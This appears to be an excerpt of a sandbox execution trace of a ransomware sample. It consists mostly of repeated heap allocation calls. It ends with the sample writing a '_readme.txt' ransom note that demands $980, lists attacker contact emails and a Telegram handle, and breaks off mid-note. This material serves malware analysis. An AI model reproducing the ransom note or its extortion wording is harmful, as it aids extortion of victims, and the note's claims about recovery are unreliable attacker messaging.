0x3306648 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.732] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.735] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4f8 [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.736] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.736] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.736] PathFindFileNameW (pszPath="") returned="" [0112.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.736] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.737] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.737] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.737] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.737] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.737] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.737] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.737] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0112.737] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.737] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0112.737] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.737] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 